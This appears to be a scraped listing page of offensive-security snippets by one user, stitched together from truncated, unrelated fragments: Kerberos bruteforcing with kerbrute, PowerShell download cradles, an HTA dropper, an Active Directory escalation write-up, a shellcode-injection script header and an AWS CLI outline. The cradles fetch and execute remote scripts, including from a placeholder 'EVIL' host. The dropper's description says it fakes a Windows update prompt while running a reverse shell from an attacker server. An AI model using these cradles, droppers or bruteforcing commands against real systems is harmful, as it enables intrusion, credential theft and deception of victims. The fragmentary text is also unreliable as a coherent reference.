an00byss

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

an00byss

### IE Cradle
iex (iwr 'https://raw.githubusercontent.com/BradyDonovan/PSCalcPayload/master/script.ps1' -UseBasicParsing)

### normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

### PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

### hidden IE com object

an00byss

AWS-CLI Cheatsheet

Table of content

• Installation
• EC2
  • UTIL: List all instances
  • UTIL: List specific fields of all instances
  • UTIL: List all instances of a product
• UTIL: List all stopped instances

an00byss

#!/usr/bin/env python
import sys
import os.path

if __name__ == "__main__": 
    if len(sys.argv) != 2:
        print("usage: {} names.txt".format((sys.argv[0])))
        sys.exit(0)

    if not os.path.exists(sys.argv[1]): 

an00byss

import base64
import re
import xml.dom.minidom
import json
import uuid
import struct
import string
import random
import hashlib
import time

an00byss

<!--
   Hta_Version: 1.0.1
   Author: @r00t-3xp10it (ssa)
   Application: meterpeter v2.10.10 dropper
   
   .DESCRIPTION
      This HTA changes PS 'ExecutionPolicy' to 'UnRestricted', presents a msgbox
      pretending to be a security KB5005101 21H1 update, while downloads\executes
      meterpeter client.ps1 (rev_tcp_shell) in background from attacker werbserver.

an00byss

package main

import (
	"crypto/tls"
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"
)

an00byss

Public Domain

an00byss

Certifried combined with KrbRelayUp

Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.

The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.

Prerequisites:

an00byss

## Credits to the following projects for a lot of this powershell code and just general inspiration
## https://github.com/chvancooten/OSEP-Code-Snippets
## https://www.trustedsec.com/blog/native-powershell-x86-shellcode-injection-on-64-bit-platforms/

from argparse import ArgumentParser
import subprocess
import base64
import os